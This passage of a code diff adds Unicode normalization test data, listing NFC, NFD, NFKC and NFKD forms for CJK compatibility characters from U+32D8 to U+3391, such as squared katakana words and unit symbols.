+{ source: [0x32D8], NFC: [0x32D8], NFD: [0x32D8], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0x32D9], NFC: [0x32D9], NFD: [0x32D9], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0x32DA], NFC: [0x32DA], NFD: [0x32DA], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x32DB], NFC: [0x32DB], NFD: [0x32DB], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0x32DC], NFC: [0x32DC], NFD: [0x32DC], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0x32DD], NFC: [0x32DD], NFD: [0x32DD], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0x32DE], NFC: [0x32DE], NFD: [0x32DE], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0x32DF], NFC: [0x32DF], NFD: [0x32DF], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0x32E0], NFC: [0x32E0], NFD: [0x32E0], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0x32E1], NFC: [0x32E1], NFD: [0x32E1], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0x32E2], NFC: [0x32E2], NFD: [0x32E2], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0x32E3], NFC: [0x32E3], NFD: [0x32E3], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0x32E4], NFC: [0x32E4], NFD: [0x32E4], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0x32E5], NFC: [0x32E5], NFD: [0x32E5], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0x32E6], NFC: [0x32E6], NFD: [0x32E6], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0x32E7], NFC: [0x32E7], NFD: [0x32E7], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0x32E8], NFC: [0x32E8], NFD: [0x32E8], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0x32E9], NFC: [0x32E9], NFD: [0x32E9], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0x32EA], NFC: [0x32EA], NFD: [0x32EA], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0x32EB], NFC: [0x32EB], NFD: [0x32EB], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0x32EC], NFC: [0x32EC], NFD: [0x32EC], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0x32ED], NFC: [0x32ED], NFD: [0x32ED], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0x32EE], NFC: [0x32EE], NFD: [0x32EE], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0x32EF], NFC: [0x32EF], NFD: [0x32EF], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0x32F0], NFC: [0x32F0], NFD: [0x32F0], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0x32F1], NFC: [0x32F1], NFD: [0x32F1], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0x32F2], NFC: [0x32F2], NFD: [0x32F2], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0x32F3], NFC: [0x32F3], NFD: [0x32F3], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0x32F4], NFC: [0x32F4], NFD: [0x32F4], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0x32F5], NFC: [0x32F5], NFD: [0x32F5], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0x32F6], NFC: [0x32F6], NFD: [0x32F6], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0x32F7], NFC: [0x32F7], NFD: [0x32F7], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0x32F8], NFC: [0x32F8], NFD: [0x32F8], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0x32F9], NFC: [0x32F9], NFD: [0x32F9], NFKC: [0x30EC], NFKD: [0x30EC] },
+{ source: [0x32FA], NFC: [0x32FA], NFD: [0x32FA], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0x32FB], NFC: [0x32FB], NFD: [0x32FB], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0x32FC], NFC: [0x32FC], NFD: [0x32FC], NFKC: [0x30F0], NFKD: [0x30F0] },
+{ source: [0x32FD], NFC: [0x32FD], NFD: [0x32FD], NFKC: [0x30F1], NFKD: [0x30F1] },
+{ source: [0x32FE], NFC: [0x32FE], NFD: [0x32FE], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0x32FF], NFC: [0x32FF], NFD: [0x32FF], NFKC: [0x4EE4, 0x548C], NFKD: [0x4EE4, 0x548C] },
+{ source: [0x3300], NFC: [0x3300], NFD: [0x3300], NFKC: [0x30A2, 0x30D1, 0x30FC, 0x30C8], NFKD: [0x30A2, 0x30CF, 0x309A, 0x30FC, 0x30C8] },
+{ source: [0x3301], NFC: [0x3301], NFD: [0x3301], NFKC: [0x30A2, 0x30EB, 0x30D5, 0x30A1], NFKD: [0x30A2, 0x30EB, 0x30D5, 0x30A1] },
+{ source: [0x3302], NFC: [0x3302], NFD: [0x3302], NFKC: [0x30A2, 0x30F3, 0x30DA, 0x30A2], NFKD: [0x30A2, 0x30F3, 0x30D8, 0x309A, 0x30A2] },
+{ source: [0x3303], NFC: [0x3303], NFD: [0x3303], NFKC: [0x30A2, 0x30FC, 0x30EB], NFKD: [0x30A2, 0x30FC, 0x30EB] },
+{ source: [0x3304], NFC: [0x3304], NFD: [0x3304], NFKC: [0x30A4, 0x30CB, 0x30F3, 0x30B0], NFKD: [0x30A4, 0x30CB, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3305], NFC: [0x3305], NFD: [0x3305], NFKC: [0x30A4, 0x30F3, 0x30C1], NFKD: [0x30A4, 0x30F3, 0x30C1] },
+{ source: [0x3306], NFC: [0x3306], NFD: [0x3306], NFKC: [0x30A6, 0x30A9, 0x30F3], NFKD: [0x30A6, 0x30A9, 0x30F3] },
+{ source: [0x3307], NFC: [0x3307], NFD: [0x3307], NFKC: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C9], NFKD: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x3308], NFC: [0x3308], NFD: [0x3308], NFKC: [0x30A8, 0x30FC, 0x30AB, 0x30FC], NFKD: [0x30A8, 0x30FC, 0x30AB, 0x30FC] },
+{ source: [0x3309], NFC: [0x3309], NFD: [0x3309], NFKC: [0x30AA, 0x30F3, 0x30B9], NFKD: [0x30AA, 0x30F3, 0x30B9] },
+{ source: [0x330A], NFC: [0x330A], NFD: [0x330A], NFKC: [0x30AA, 0x30FC, 0x30E0], NFKD: [0x30AA, 0x30FC, 0x30E0] },
+{ source: [0x330B], NFC: [0x330B], NFD: [0x330B], NFKC: [0x30AB, 0x30A4, 0x30EA], NFKD: [0x30AB, 0x30A4, 0x30EA] },
+{ source: [0x330C], NFC: [0x330C], NFD: [0x330C], NFKC: [0x30AB, 0x30E9, 0x30C3, 0x30C8], NFKD: [0x30AB, 0x30E9, 0x30C3, 0x30C8] },
+{ source: [0x330D], NFC: [0x330D], NFD: [0x330D], NFKC: [0x30AB, 0x30ED, 0x30EA, 0x30FC], NFKD: [0x30AB, 0x30ED, 0x30EA, 0x30FC] },
+{ source: [0x330E], NFC: [0x330E], NFD: [0x330E], NFKC: [0x30AC, 0x30ED, 0x30F3], NFKD: [0x30AB, 0x3099, 0x30ED, 0x30F3] },
+{ source: [0x330F], NFC: [0x330F], NFD: [0x330F], NFKC: [0x30AC, 0x30F3, 0x30DE], NFKD: [0x30AB, 0x3099, 0x30F3, 0x30DE] },
+{ source: [0x3310], NFC: [0x3310], NFD: [0x3310], NFKC: [0x30AE, 0x30AC], NFKD: [0x30AD, 0x3099, 0x30AB, 0x3099] },
+{ source: [0x3311], NFC: [0x3311], NFD: [0x3311], NFKC: [0x30AE, 0x30CB, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30CB, 0x30FC] },
+{ source: [0x3312], NFC: [0x3312], NFD: [0x3312], NFKC: [0x30AD, 0x30E5, 0x30EA, 0x30FC], NFKD: [0x30AD, 0x30E5, 0x30EA, 0x30FC] },
+{ source: [0x3313], NFC: [0x3313], NFD: [0x3313], NFKC: [0x30AE, 0x30EB, 0x30C0, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30EB, 0x30BF, 0x3099, 0x30FC] },
+{ source: [0x3314], NFC: [0x3314], NFD: [0x3314], NFKC: [0x30AD, 0x30ED], NFKD: [0x30AD, 0x30ED] },
+{ source: [0x3315], NFC: [0x3315], NFD: [0x3315], NFKC: [0x30AD, 0x30ED, 0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AD, 0x30ED, 0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3316], NFC: [0x3316], NFD: [0x3316], NFKC: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x3317], NFC: [0x3317], NFD: [0x3317], NFKC: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8], NFKD: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3318], NFC: [0x3318], NFD: [0x3318], NFKC: [0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3319], NFC: [0x3319], NFD: [0x3319], NFKC: [0x30B0, 0x30E9, 0x30E0, 0x30C8, 0x30F3], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0, 0x30C8, 0x30F3] },
+{ source: [0x331A], NFC: [0x331A], NFD: [0x331A], NFKC: [0x30AF, 0x30EB, 0x30BC, 0x30A4, 0x30ED], NFKD: [0x30AF, 0x30EB, 0x30BB, 0x3099, 0x30A4, 0x30ED] },
+{ source: [0x331B], NFC: [0x331B], NFD: [0x331B], NFKC: [0x30AF, 0x30ED, 0x30FC, 0x30CD], NFKD: [0x30AF, 0x30ED, 0x30FC, 0x30CD] },
+{ source: [0x331C], NFC: [0x331C], NFD: [0x331C], NFKC: [0x30B1, 0x30FC, 0x30B9], NFKD: [0x30B1, 0x30FC, 0x30B9] },
+{ source: [0x331D], NFC: [0x331D], NFD: [0x331D], NFKC: [0x30B3, 0x30EB, 0x30CA], NFKD: [0x30B3, 0x30EB, 0x30CA] },
+{ source: [0x331E], NFC: [0x331E], NFD: [0x331E], NFKC: [0x30B3, 0x30FC, 0x30DD], NFKD: [0x30B3, 0x30FC, 0x30DB, 0x309A] },
+{ source: [0x331F], NFC: [0x331F], NFD: [0x331F], NFKC: [0x30B5, 0x30A4, 0x30AF, 0x30EB], NFKD: [0x30B5, 0x30A4, 0x30AF, 0x30EB] },
+{ source: [0x3320], NFC: [0x3320], NFD: [0x3320], NFKC: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0], NFKD: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0] },
+{ source: [0x3321], NFC: [0x3321], NFD: [0x3321], NFKC: [0x30B7, 0x30EA, 0x30F3, 0x30B0], NFKD: [0x30B7, 0x30EA, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3322], NFC: [0x3322], NFD: [0x3322], NFKC: [0x30BB, 0x30F3, 0x30C1], NFKD: [0x30BB, 0x30F3, 0x30C1] },
+{ source: [0x3323], NFC: [0x3323], NFD: [0x3323], NFKC: [0x30BB, 0x30F3, 0x30C8], NFKD: [0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x3324], NFC: [0x3324], NFD: [0x3324], NFKC: [0x30C0, 0x30FC, 0x30B9], NFKD: [0x30BF, 0x3099, 0x30FC, 0x30B9] },
+{ source: [0x3325], NFC: [0x3325], NFD: [0x3325], NFKC: [0x30C7, 0x30B7], NFKD: [0x30C6, 0x3099, 0x30B7] },
+{ source: [0x3326], NFC: [0x3326], NFD: [0x3326], NFKC: [0x30C9, 0x30EB], NFKD: [0x30C8, 0x3099, 0x30EB] },
+{ source: [0x3327], NFC: [0x3327], NFD: [0x3327], NFKC: [0x30C8, 0x30F3], NFKD: [0x30C8, 0x30F3] },
+{ source: [0x3328], NFC: [0x3328], NFD: [0x3328], NFKC: [0x30CA, 0x30CE], NFKD: [0x30CA, 0x30CE] },
+{ source: [0x3329], NFC: [0x3329], NFD: [0x3329], NFKC: [0x30CE, 0x30C3, 0x30C8], NFKD: [0x30CE, 0x30C3, 0x30C8] },
+{ source: [0x332A], NFC: [0x332A], NFD: [0x332A], NFKC: [0x30CF, 0x30A4, 0x30C4], NFKD: [0x30CF, 0x30A4, 0x30C4] },
+{ source: [0x332B], NFC: [0x332B], NFD: [0x332B], NFKC: [0x30D1, 0x30FC, 0x30BB, 0x30F3, 0x30C8], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x332C], NFC: [0x332C], NFD: [0x332C], NFKC: [0x30D1, 0x30FC, 0x30C4], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30C4] },
+{ source: [0x332D], NFC: [0x332D], NFD: [0x332D], NFKC: [0x30D0, 0x30FC, 0x30EC, 0x30EB], NFKD: [0x30CF, 0x3099, 0x30FC, 0x30EC, 0x30EB] },
+{ source: [0x332E], NFC: [0x332E], NFD: [0x332E], NFKC: [0x30D4, 0x30A2, 0x30B9, 0x30C8, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30A2, 0x30B9, 0x30C8, 0x30EB] },
+{ source: [0x332F], NFC: [0x332F], NFD: [0x332F], NFKC: [0x30D4, 0x30AF, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30AF, 0x30EB] },
+{ source: [0x3330], NFC: [0x3330], NFD: [0x3330], NFKC: [0x30D4, 0x30B3], NFKD: [0x30D2, 0x309A, 0x30B3] },
+{ source: [0x3331], NFC: [0x3331], NFD: [0x3331], NFKC: [0x30D3, 0x30EB], NFKD: [0x30D2, 0x3099, 0x30EB] },
+{ source: [0x3332], NFC: [0x3332], NFD: [0x3332], NFKC: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C9], NFKD: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C8, 0x3099] },
+{ source: [0x3333], NFC: [0x3333], NFD: [0x3333], NFKC: [0x30D5, 0x30A3, 0x30FC, 0x30C8], NFKD: [0x30D5, 0x30A3, 0x30FC, 0x30C8] },
+{ source: [0x3334], NFC: [0x3334], NFD: [0x3334], NFKC: [0x30D6, 0x30C3, 0x30B7, 0x30A7, 0x30EB], NFKD: [0x30D5, 0x3099, 0x30C3, 0x30B7, 0x30A7, 0x30EB] },
+{ source: [0x3335], NFC: [0x3335], NFD: [0x3335], NFKC: [0x30D5, 0x30E9, 0x30F3], NFKD: [0x30D5, 0x30E9, 0x30F3] },
+{ source: [0x3336], NFC: [0x3336], NFD: [0x3336], NFKC: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB], NFKD: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB] },
+{ source: [0x3337], NFC: [0x3337], NFD: [0x3337], NFKC: [0x30DA, 0x30BD], NFKD: [0x30D8, 0x309A, 0x30BD] },
+{ source: [0x3338], NFC: [0x3338], NFD: [0x3338], NFKC: [0x30DA, 0x30CB, 0x30D2], NFKD: [0x30D8, 0x309A, 0x30CB, 0x30D2] },
+{ source: [0x3339], NFC: [0x3339], NFD: [0x3339], NFKC: [0x30D8, 0x30EB, 0x30C4], NFKD: [0x30D8, 0x30EB, 0x30C4] },
+{ source: [0x333A], NFC: [0x333A], NFD: [0x333A], NFKC: [0x30DA, 0x30F3, 0x30B9], NFKD: [0x30D8, 0x309A, 0x30F3, 0x30B9] },
+{ source: [0x333B], NFC: [0x333B], NFD: [0x333B], NFKC: [0x30DA, 0x30FC, 0x30B8], NFKD: [0x30D8, 0x309A, 0x30FC, 0x30B7, 0x3099] },
+{ source: [0x333C], NFC: [0x333C], NFD: [0x333C], NFKC: [0x30D9, 0x30FC, 0x30BF], NFKD: [0x30D8, 0x3099, 0x30FC, 0x30BF] },
+{ source: [0x333D], NFC: [0x333D], NFD: [0x333D], NFKC: [0x30DD, 0x30A4, 0x30F3, 0x30C8], NFKD: [0x30DB, 0x309A, 0x30A4, 0x30F3, 0x30C8] },
+{ source: [0x333E], NFC: [0x333E], NFD: [0x333E], NFKC: [0x30DC, 0x30EB, 0x30C8], NFKD: [0x30DB, 0x3099, 0x30EB, 0x30C8] },
+{ source: [0x333F], NFC: [0x333F], NFD: [0x333F], NFKC: [0x30DB, 0x30F3], NFKD: [0x30DB, 0x30F3] },
+{ source: [0x3340], NFC: [0x3340], NFD: [0x3340], NFKC: [0x30DD, 0x30F3, 0x30C9], NFKD: [0x30DB, 0x309A, 0x30F3, 0x30C8, 0x3099] },
+{ source: [0x3341], NFC: [0x3341], NFD: [0x3341], NFKC: [0x30DB, 0x30FC, 0x30EB], NFKD: [0x30DB, 0x30FC, 0x30EB] },
+{ source: [0x3342], NFC: [0x3342], NFD: [0x3342], NFKC: [0x30DB, 0x30FC, 0x30F3], NFKD: [0x30DB, 0x30FC, 0x30F3] },
+{ source: [0x3343], NFC: [0x3343], NFD: [0x3343], NFKC: [0x30DE, 0x30A4, 0x30AF, 0x30ED], NFKD: [0x30DE, 0x30A4, 0x30AF, 0x30ED] },
+{ source: [0x3344], NFC: [0x3344], NFD: [0x3344], NFKC: [0x30DE, 0x30A4, 0x30EB], NFKD: [0x30DE, 0x30A4, 0x30EB] },
+{ source: [0x3345], NFC: [0x3345], NFD: [0x3345], NFKC: [0x30DE, 0x30C3, 0x30CF], NFKD: [0x30DE, 0x30C3, 0x30CF] },
+{ source: [0x3346], NFC: [0x3346], NFD: [0x3346], NFKC: [0x30DE, 0x30EB, 0x30AF], NFKD: [0x30DE, 0x30EB, 0x30AF] },
+{ source: [0x3347], NFC: [0x3347], NFD: [0x3347], NFKC: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3], NFKD: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3] },
+{ source: [0x3348], NFC: [0x3348], NFD: [0x3348], NFKC: [0x30DF, 0x30AF, 0x30ED, 0x30F3], NFKD: [0x30DF, 0x30AF, 0x30ED, 0x30F3] },
+{ source: [0x3349], NFC: [0x3349], NFD: [0x3349], NFKC: [0x30DF, 0x30EA], NFKD: [0x30DF, 0x30EA] },
+{ source: [0x334A], NFC: [0x334A], NFD: [0x334A], NFKC: [0x30DF, 0x30EA, 0x30D0, 0x30FC, 0x30EB], NFKD: [0x30DF, 0x30EA, 0x30CF, 0x3099, 0x30FC, 0x30EB] },
+{ source: [0x334B], NFC: [0x334B], NFD: [0x334B], NFKC: [0x30E1, 0x30AC], NFKD: [0x30E1, 0x30AB, 0x3099] },
+{ source: [0x334C], NFC: [0x334C], NFD: [0x334C], NFKC: [0x30E1, 0x30AC, 0x30C8, 0x30F3], NFKD: [0x30E1, 0x30AB, 0x3099, 0x30C8, 0x30F3] },
+{ source: [0x334D], NFC: [0x334D], NFD: [0x334D], NFKC: [0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x334E], NFC: [0x334E], NFD: [0x334E], NFKC: [0x30E4, 0x30FC, 0x30C9], NFKD: [0x30E4, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x334F], NFC: [0x334F], NFD: [0x334F], NFKC: [0x30E4, 0x30FC, 0x30EB], NFKD: [0x30E4, 0x30FC, 0x30EB] },
+{ source: [0x3350], NFC: [0x3350], NFD: [0x3350], NFKC: [0x30E6, 0x30A2, 0x30F3], NFKD: [0x30E6, 0x30A2, 0x30F3] },
+{ source: [0x3351], NFC: [0x3351], NFD: [0x3351], NFKC: [0x30EA, 0x30C3, 0x30C8, 0x30EB], NFKD: [0x30EA, 0x30C3, 0x30C8, 0x30EB] },
+{ source: [0x3352], NFC: [0x3352], NFD: [0x3352], NFKC: [0x30EA, 0x30E9], NFKD: [0x30EA, 0x30E9] },
+{ source: [0x3353], NFC: [0x3353], NFD: [0x3353], NFKC: [0x30EB, 0x30D4, 0x30FC], NFKD: [0x30EB, 0x30D2, 0x309A, 0x30FC] },
+{ source: [0x3354], NFC: [0x3354], NFD: [0x3354], NFKC: [0x30EB, 0x30FC, 0x30D6, 0x30EB], NFKD: [0x30EB, 0x30FC, 0x30D5, 0x3099, 0x30EB] },
+{ source: [0x3355], NFC: [0x3355], NFD: [0x3355], NFKC: [0x30EC, 0x30E0], NFKD: [0x30EC, 0x30E0] },
+{ source: [0x3356], NFC: [0x3356], NFD: [0x3356], NFKC: [0x30EC, 0x30F3, 0x30C8, 0x30B2, 0x30F3], NFKD: [0x30EC, 0x30F3, 0x30C8, 0x30B1, 0x3099, 0x30F3] },
+{ source: [0x3357], NFC: [0x3357], NFD: [0x3357], NFKC: [0x30EF, 0x30C3, 0x30C8], NFKD: [0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3358], NFC: [0x3358], NFD: [0x3358], NFKC: [0x0030, 0x70B9], NFKD: [0x0030, 0x70B9] },
+{ source: [0x3359], NFC: [0x3359], NFD: [0x3359], NFKC: [0x0031, 0x70B9], NFKD: [0x0031, 0x70B9] },
+{ source: [0x335A], NFC: [0x335A], NFD: [0x335A], NFKC: [0x0032, 0x70B9], NFKD: [0x0032, 0x70B9] },
+{ source: [0x335B], NFC: [0x335B], NFD: [0x335B], NFKC: [0x0033, 0x70B9], NFKD: [0x0033, 0x70B9] },
+{ source: [0x335C], NFC: [0x335C], NFD: [0x335C], NFKC: [0x0034, 0x70B9], NFKD: [0x0034, 0x70B9] },
+{ source: [0x335D], NFC: [0x335D], NFD: [0x335D], NFKC: [0x0035, 0x70B9], NFKD: [0x0035, 0x70B9] },
+{ source: [0x335E], NFC: [0x335E], NFD: [0x335E], NFKC: [0x0036, 0x70B9], NFKD: [0x0036, 0x70B9] },
+{ source: [0x335F], NFC: [0x335F], NFD: [0x335F], NFKC: [0x0037, 0x70B9], NFKD: [0x0037, 0x70B9] },
+{ source: [0x3360], NFC: [0x3360], NFD: [0x3360], NFKC: [0x0038, 0x70B9], NFKD: [0x0038, 0x70B9] },
+{ source: [0x3361], NFC: [0x3361], NFD: [0x3361], NFKC: [0x0039, 0x70B9], NFKD: [0x0039, 0x70B9] },
+{ source: [0x3362], NFC: [0x3362], NFD: [0x3362], NFKC: [0x0031, 0x0030, 0x70B9], NFKD: [0x0031, 0x0030, 0x70B9] },
+{ source: [0x3363], NFC: [0x3363], NFD: [0x3363], NFKC: [0x0031, 0x0031, 0x70B9], NFKD: [0x0031, 0x0031, 0x70B9] },
+{ source: [0x3364], NFC: [0x3364], NFD: [0x3364], NFKC: [0x0031, 0x0032, 0x70B9], NFKD: [0x0031, 0x0032, 0x70B9] },
+{ source: [0x3365], NFC: [0x3365], NFD: [0x3365], NFKC: [0x0031, 0x0033, 0x70B9], NFKD: [0x0031, 0x0033, 0x70B9] },
+{ source: [0x3366], NFC: [0x3366], NFD: [0x3366], NFKC: [0x0031, 0x0034, 0x70B9], NFKD: [0x0031, 0x0034, 0x70B9] },
+{ source: [0x3367], NFC: [0x3367], NFD: [0x3367], NFKC: [0x0031, 0x0035, 0x70B9], NFKD: [0x0031, 0x0035, 0x70B9] },
+{ source: [0x3368], NFC: [0x3368], NFD: [0x3368], NFKC: [0x0031, 0x0036, 0x70B9], NFKD: [0x0031, 0x0036, 0x70B9] },
+{ source: [0x3369], NFC: [0x3369], NFD: [0x3369], NFKC: [0x0031, 0x0037, 0x70B9], NFKD: [0x0031, 0x0037, 0x70B9] },
+{ source: [0x336A], NFC: [0x336A], NFD: [0x336A], NFKC: [0x0031, 0x0038, 0x70B9], NFKD: [0x0031, 0x0038, 0x70B9] },
+{ source: [0x336B], NFC: [0x336B], NFD: [0x336B], NFKC: [0x0031, 0x0039, 0x70B9], NFKD: [0x0031, 0x0039, 0x70B9] },
+{ source: [0x336C], NFC: [0x336C], NFD: [0x336C], NFKC: [0x0032, 0x0030, 0x70B9], NFKD: [0x0032, 0x0030, 0x70B9] },
+{ source: [0x336D], NFC: [0x336D], NFD: [0x336D], NFKC: [0x0032, 0x0031, 0x70B9], NFKD: [0x0032, 0x0031, 0x70B9] },
+{ source: [0x336E], NFC: [0x336E], NFD: [0x336E], NFKC: [0x0032, 0x0032, 0x70B9], NFKD: [0x0032, 0x0032, 0x70B9] },
+{ source: [0x336F], NFC: [0x336F], NFD: [0x336F], NFKC: [0x0032, 0x0033, 0x70B9], NFKD: [0x0032, 0x0033, 0x70B9] },
+{ source: [0x3370], NFC: [0x3370], NFD: [0x3370], NFKC: [0x0032, 0x0034, 0x70B9], NFKD: [0x0032, 0x0034, 0x70B9] },
+{ source: [0x3371], NFC: [0x3371], NFD: [0x3371], NFKC: [0x0068, 0x0050, 0x0061], NFKD: [0x0068, 0x0050, 0x0061] },
+{ source: [0x3372], NFC: [0x3372], NFD: [0x3372], NFKC: [0x0064, 0x0061], NFKD: [0x0064, 0x0061] },
+{ source: [0x3373], NFC: [0x3373], NFD: [0x3373], NFKC: [0x0041, 0x0055], NFKD: [0x0041, 0x0055] },
+{ source: [0x3374], NFC: [0x3374], NFD: [0x3374], NFKC: [0x0062, 0x0061, 0x0072], NFKD: [0x0062, 0x0061, 0x0072] },
+{ source: [0x3375], NFC: [0x3375], NFD: [0x3375], NFKC: [0x006F, 0x0056], NFKD: [0x006F, 0x0056] },
+{ source: [0x3376], NFC: [0x3376], NFD: [0x3376], NFKC: [0x0070, 0x0063], NFKD: [0x0070, 0x0063] },
+{ source: [0x3377], NFC: [0x3377], NFD: [0x3377], NFKC: [0x0064, 0x006D], NFKD: [0x0064, 0x006D] },
+{ source: [0x3378], NFC: [0x3378], NFD: [0x3378], NFKC: [0x0064, 0x006D, 0x0032], NFKD: [0x0064, 0x006D, 0x0032] },
+{ source: [0x3379], NFC: [0x3379], NFD: [0x3379], NFKC: [0x0064, 0x006D, 0x0033], NFKD: [0x0064, 0x006D, 0x0033] },
+{ source: [0x337A], NFC: [0x337A], NFD: [0x337A], NFKC: [0x0049, 0x0055], NFKD: [0x0049, 0x0055] },
+{ source: [0x337B], NFC: [0x337B], NFD: [0x337B], NFKC: [0x5E73, 0x6210], NFKD: [0x5E73, 0x6210] },
+{ source: [0x337C], NFC: [0x337C], NFD: [0x337C], NFKC: [0x662D, 0x548C], NFKD: [0x662D, 0x548C] },
+{ source: [0x337D], NFC: [0x337D], NFD: [0x337D], NFKC: [0x5927, 0x6B63], NFKD: [0x5927, 0x6B63] },
+{ source: [0x337E], NFC: [0x337E], NFD: [0x337E], NFKC: [0x660E, 0x6CBB], NFKD: [0x660E, 0x6CBB] },
+{ source: [0x337F], NFC: [0x337F], NFD: [0x337F], NFKC: [0x682A, 0x5F0F, 0x4F1A, 0x793E], NFKD: [0x682A, 0x5F0F, 0x4F1A, 0x793E] },
+{ source: [0x3380], NFC: [0x3380], NFD: [0x3380], NFKC: [0x0070, 0x0041], NFKD: [0x0070, 0x0041] },
+{ source: [0x3381], NFC: [0x3381], NFD: [0x3381], NFKC: [0x006E, 0x0041], NFKD: [0x006E, 0x0041] },
+{ source: [0x3382], NFC: [0x3382], NFD: [0x3382], NFKC: [0x03BC, 0x0041], NFKD: [0x03BC, 0x0041] },
+{ source: [0x3383], NFC: [0x3383], NFD: [0x3383], NFKC: [0x006D, 0x0041], NFKD: [0x006D, 0x0041] },
+{ source: [0x3384], NFC: [0x3384], NFD: [0x3384], NFKC: [0x006B, 0x0041], NFKD: [0x006B, 0x0041] },
+{ source: [0x3385], NFC: [0x3385], NFD: [0x3385], NFKC: [0x004B, 0x0042], NFKD: [0x004B, 0x0042] },
+{ source: [0x3386], NFC: [0x3386], NFD: [0x3386], NFKC: [0x004D, 0x0042], NFKD: [0x004D, 0x0042] },
+{ source: [0x3387], NFC: [0x3387], NFD: [0x3387], NFKC: [0x0047, 0x0042], NFKD: [0x0047, 0x0042] },
+{ source: [0x3388], NFC: [0x3388], NFD: [0x3388], NFKC: [0x0063, 0x0061, 0x006C], NFKD: [0x0063, 0x0061, 0x006C] },
+{ source: [0x3389], NFC: [0x3389], NFD: [0x3389], NFKC: [0x006B, 0x0063, 0x0061, 0x006C], NFKD: [0x006B, 0x0063, 0x0061, 0x006C] },
+{ source: [0x338A], NFC: [0x338A], NFD: [0x338A], NFKC: [0x0070, 0x0046], NFKD: [0x0070, 0x0046] },
+{ source: [0x338B], NFC: [0x338B], NFD: [0x338B], NFKC: [0x006E, 0x0046], NFKD: [0x006E, 0x0046] },
+{ source: [0x338C], NFC: [0x338C], NFD: [0x338C], NFKC: [0x03BC, 0x0046], NFKD: [0x03BC, 0x0046] },
+{ source: [0x338D], NFC: [0x338D], NFD: [0x338D], NFKC: [0x03BC, 0x0067], NFKD: [0x03BC, 0x0067] },
+{ source: [0x338E], NFC: [0x338E], NFD: [0x338E], NFKC: [0x006D, 0x0067], NFKD: [0x006D, 0x0067] },
+{ source: [0x338F], NFC: [0x338F], NFD: [0x338F], NFKC: [0x006B, 0x0067], NFKD: [0x006B, 0x0067] },
+{ source: [0x3390], NFC: [0x3390], NFD: [0x3390], NFKC: [0x0048, 0x007A], NFKD: [0x0048, 0x007A] },
+{ source: [0x3391], NFC: [0x3391], NFD: [0x3391], NFKC: [0x006B, 0x0048, 0x007A], NFKD: [0x006B, 0x0048, 0x007A] },
